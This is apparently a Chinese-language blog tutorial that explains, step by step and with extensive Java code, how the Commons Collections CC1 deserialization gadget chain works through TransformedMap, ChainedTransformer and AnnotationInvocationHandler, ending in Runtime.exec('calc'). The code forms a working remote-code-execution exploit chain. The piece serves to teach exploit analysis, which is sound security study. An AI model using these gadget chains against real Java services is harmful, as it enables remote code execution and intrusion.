通俗易懂的CC1之手搓EXP

1
2
3
每篇毒鸡汤
滴水石穿
——瞎编的

前言:

学java反序列化,怎么能少了对每条链的理解呢?本篇我们主要是选择CC1中的其中一条链TransformedMap进行手搓EXP,希望各位同学带好手套,小心你的小手磨出茧子。

CC1链其实是Java反序列化中最重要的一条,大家一定要认真理解吃透,这样剩下的链学起来就会非常轻松。而CC1一共是有两条:一条是Lazymap,一条是TransformedMap,我们先来看看TransformedMap这一条:

image-20230830150305811

整个漏洞的触发点就是在这里,可以看到在InvokerTransformer.transform中可以利用反射调用任意方法。而其中的参数iMethodNameiParamTypesiArgs都是变量,是通过InvokerTransformer的构造方法传入的。很大可能是我们可以直接控制的。

然后我们可以利用这个点来进行反射调用Runtime中的exec从而进行命令执行。很明显这里是利用反射来进行调用的。那我们先简单的写一个正常的利用反射来调用Runtime:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//获取Runtime的class
Class c = Runtime.class;
//获取getRuntime方法
Method getRuntime = c.getMethod("getRuntime");
//获取Runtime对象
Object runtime = (Runtime) getRuntime.invoke(null);
//获取exec方法
Method exec = c.getMethod("exec", String.class);
//调用exec方法
exec.invoke(runtime,"calc");

/* Java反射如果不清楚的同学可以先去学习一下Java反射然后再来学习,要不然从头懵到尾,看了等于没看。
还有因为我们最终的目的是将数据反序列化,这里的命令执行时我们要反序列化触发的点,所以我们需要找一个可以反序列化的类,而Runtime对象本身时不支持反序列化的,所以我们找到了Runtime的class
*/

我们利用反射调用了Runtime中的exec,这正和我们的链条触发点吻合,那么我们可不可以用漏洞触发点的方式再反射一边:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
new InvokerTransformer("方法名"new Class[]{方法参数类型}, new Object[]{方法参数}).transform(Object);
//可以看到,我们可以通过实例化InvokerTransformer,将参数传入,再调用他的transform方法并给transform传入对应的对象。
//下面我将上面写的反射注释掉,并把他们对应的触发点利用方式附上。





// Class c = Runtime.class;
// Method getRuntime = c.getMethod("getRuntime");
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);


// Object runtime = (Runtime) getRuntime.invoke(null);
Object runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);


// Method exec = c.getMethod("exec", String.class);
// exec.invoke(runtime,"calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
//重点记住最后一个,因为最后一个是直接触发RCE的代码,后续我们也会用到

我们很简单的就将对应的触发点反射写了出来,那光写出来不行啊,怎么用呢?我们接着看谁调用了InvokerTransformer中的transform

image-20230830153422540

可以看到这里有很多,我们选择TransformedMap中的checkSetValue调用了InvokerTransformer中的transform,我们先看看checkSetValue中的参数分别是什么,来到TransformedMap的构造方法:

image-20230830153914097

这里其实是实现装饰HashMap的,但是他的构造方法是protected,也就是说我们没有办法直接调用,只能是通过他内部调用。他的功能就是接收一个map进来,对他的key和value进行一些操作。我们看到checkSetValue中的valueTransforme就是通过这个构造方法传入的。

那么好,我们再看看谁调用了这个TransformedMap,最后发现再TransformedMap中还有一个静态方法decorate调用了TransformedMap

image-20230830154730095

那么我们直接从这里开始结合之前写的InvokerTransformer调用exec来先写一下利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
........此处省略为上面的反射代码。
//利用InvokerTransformer中的transform调用命令执行
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
//创建一个HashMap
HashMap<Object, Object> HM = new HashMap<>();
//添加到Map中
HM.put("test","test");
//调用装饰map
Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);
/*
解释:
首先我们需要创建一个Map来进行装饰,给Map中放置任意的值。我们的目的是通过调用decorte从而去调用TransformedMap的构造方法再调用到他的ChecksetValue方法最后调用我们的触发点InvokerTransformer中的transform方法,可能有点多,但是梳理一下还是很简单的。

正向理解:
我把具体传值的调用执行情况正向写一下,因为我们一直是反向分析正向写出来大家可能会比较好理解:
首先传入:
Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);
接下来会来到:
public static decorate(HM,null,invokerTransformer){
return new TransformedMap(HM,null,invokerTransformer);
}
调用构造方法:
protected TransformedMap(HM, null, invokerTransformer) {
super(HM);
this.keyTransformer = null;
this.valueTransformer = invokerTransformer;
}
调用ChecksetValue:
protected Object checkSetValue(runtime) {
return invokerTransformer.transform(runtime);
}

这样看是不是瞬间就清晰很多
*/

上面我们只是分析了checkSetValue的赋值情况,且这上述的三个方法是在同一个类当中的,并没有考虑到链条的问题,那么我们接下来再看链条问题,看一下谁调用了这个checkSetValue

image-20230830164444288

image-20230830164509435

可以看到在AbstractInputCheckedMapDecorator中的MapEntry中的setValue调用了checkSetValue

我们可以看到这里其实就是遍历Map的一个方法,但是想要触发setValue就必须遍历被装饰过的Map,也就是我们上面写的Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);,既然来到了链条的下一部分,那么我们就需要反向写一下他的利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//创建一个HashMap
HashMap<Object, Object> HM = new HashMap<>();
//添加到Map中
HM.put("test","test");
//调用装饰map
Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);

//遍历被修饰过的map
for(Map.Entry entry:transformedmap.entrySet()){
entry.setValue(runtime);
}

/*
重点!!!!! 这里可能很多人已经乱了,没关系,我有解释,不要急看不懂多看几遍。

解释:
先解释一些这个增强佛如循环,在每次迭代时将transformedmap.entrySet()赋值给entry变量
Map.Entry:Entry是Map接口中的内部接口,表示Map的一对键和值。
entry:这是循环变量,用于遍历transformedmap中的条目
transformedmap:是我们传入的Map对象
entry.setValue(runtime):是将当前的value设置为runtime对象。

总结:目的是遍历transfirmedmap,并将value设置为runtime对象。

正向理解调用链:
首先我们调用Entry并传入transformedmap进行遍历:
public Object setValue(runtime) {
value = transformedmap.checkSetValue(runtime);
return entry.setValue(value);
}
由于里面调用了transformedmap.checkSetValue:
protected Object checkSetValue(runtime) {
return invokerTransformer.transform(runtime);
}
最后会来到漏洞利用点:
public Object transform(runtime) {
if (input == null) {
return null;
}
try {
Class cls = runtime.getClass();
Method method = cls.getMethod(“exec”, String.class);
return method.invoke(runtime, "calc");



*/

所以接下来我们要找谁遍历了transformedmap且同时调用了setValue,因为只有在遍历transformedmap时调用setValue才能将transformedmap传入从而触发我们的利用链。或许你会问了,这样一直找得找到什么时候?而且找到哪里才算结束?

goodquestion!!!我们并不是无厘头的在找调用链,我们只是在找调用链的过程中去寻找谁使用了readObject方法(也就是我们的入口点)所以只有我们最终找到谁不仅在链上,而且还使用了readObject才会到达链条的终点。

那我们接着看谁遍历了transformedmap且调用了setValue

image-20230830193844202

image-20230830194005308这不是我们心心念念的终点吗!!!!(在readObject里遍历且调用了setValue)

这个类名很明显是动态代理过程中那个调用处理器类,老样子先看构造方法:

image-20230830194938669

他接收两个参数,首先第一个type是一个继承了Annotation的Class,这个Annotation是注解,这个注解我的理解就是带@符号的类。第二个memberValues是一个Map,而且这个Map是我们可以完全控制的。那我们就可以把设计好的transformedmap传进去。

现实是美好的,在这之中还有几个小问题:

  1. 这个AnnotationInvocationHandler的构造方法的权限修饰符是没写的,没写默认default所以这里需要反射调用。
  2. 我们看到在正式调用setValue之前还有两个if判断,所以我们需要进行绕过。
  3. 还有一个小问题就是我们没有办法直接传入Runtime这个对象,因为他是不允许反序列化的,但是Runtime.class是可以的,这个我们在之前第一步反射调用exec的时候已经处理过了,但是还需要注意。
  4. 我们注意到setValue的参数并不是我们想象中的那么完美

所以我们需要解决上面这些问题才能真正的打通这条链,下面是解决问题的思路和代码:

解决第一个问题:

1
2
3
4
5
6
7
8
9
10
//第一个问题,反射调用

//因为是default,所以要通过全类名获取
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造方法
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
//确保获取
annotationInvocationdhdlConstructor.setAccessible(true);
//传入参数
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedmap);

这里详细解释一下传入的两个参数,先说第二个吧,第二个参数是我们上面已经构造好的transformedmap。第一个参数呢,是我们上面提到的注解,这里贴张图吧,这里主要找带有参数的注解,方便我们解决第二个问题

3cd34b32dcc09e590808596299903a95

解决第二个问题

两个if语句通过接收我们传入的第一个参数和我们Map中的key来进行判断,具体逻辑是:

第一个if判断传入key是否为空。

第二个if判断两个参数是否可以强转。

Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedmap);

1
2
3
4
5
6
7
8
9
10
//member问题

HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedmap);

因为我用的是@Target,我的map中key的值为value,他和@target中的参数是相同的都是value。所以两个if也解决了

解决第三个问题

其实第三个问题我们已经在刚开始都已经解决了,这里再提一下的原因是因为在他的方法中有一个可以遍历invokerTransformer,这样我们就不用像套娃一样的套了。

image-20230830202922544

他接收一个transformers的一个数组,然后递归调用整个数组,所以我们可以这样写:

1
2
3
4
5
6
7
8
9
10
//创建transformers数组
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//传入transformers数组
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//调用chainedTransformer.transform(),其实总共这里我们控制的变量只有这个chainedTransformer.transform()中的参数值。
chainedTransformer.transform(Runtime.class);

解决第四个问题

image-20230830204207809

我们先跟进一下setValue看看他内部到底是怎么样实现的:

image-20230830204258906

看到这里有没有一种熟悉的赶脚,再次跟进:

ddbf790fb4a092a4d43ed4ac8ca6903b

我们发现他最后这里调用了我们传入的chainedTransformer,也就是我们第三个问题当中的chainedTransformer,我换一种写法:

1
2
其实这里的    valueTransformer.transform(value);  
就是我们 chainedTransformer.transform(Runtime.class);

那么我们只需要保证给 chainedTransformer.transform()传入的参数是Runtime.class即可。

但是这里是

我们发现了一个非常有特点的函数就是ConstantTransformer.transform

d8e19b4e588f123c2e53107eb78ac1c6

他的作用就是将input对象转换为一个值,并返回这个值。

虽然最后的那个点我们控制不了,但是如果我们通过chainedTransformer.transform();去调用他的transform那么我们也可以将整条链串起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//解释:
//这里可能有些人会乱,我知道你很乱,但是你先别乱,看完这段解释可能会帮助你理解

//首先我们跟进到readObject当中的setValue当中。
//我们发现实际最后实现的代码是:
valueTransformer.transform(value);

//但是这个valueTransformer.transform(value); 中的valueTransformer是我们的chainedTransformer,所以也就是说我们可以通过这个chainedTransformer去调用ConstantTransformer的transform,从而让ConstantTransformer的transform去获取Runtime.class,不就行了吗?之后就是一系列的串,看代码:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


//看到这你会发现原来CC1是如此的简单

调用链:

1
2
3
4
5
6
7
AnnotationInvocationHandler.readObject()
*Map(Proxy).entrySet()
*AnnotationInvocationHandler.invoke()
LazyMap.get()/TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()

至此,我们已经完整的理解了从TransformerMap入口的CC1链,后面我们再讲另外一条CC1吧,这篇文章已经写了两天了,说实话真的挺费神的。

大家一定要认真吃透CC1,只要CC1没问题了,其他几条CC都是排列组合,学起来非常轻松。


通俗易懂的CC1之手搓EXP
http://example.com/2023/08/30/Java-CC1/
作者
Yuanyi
发布于
2023年8月30日
许可协议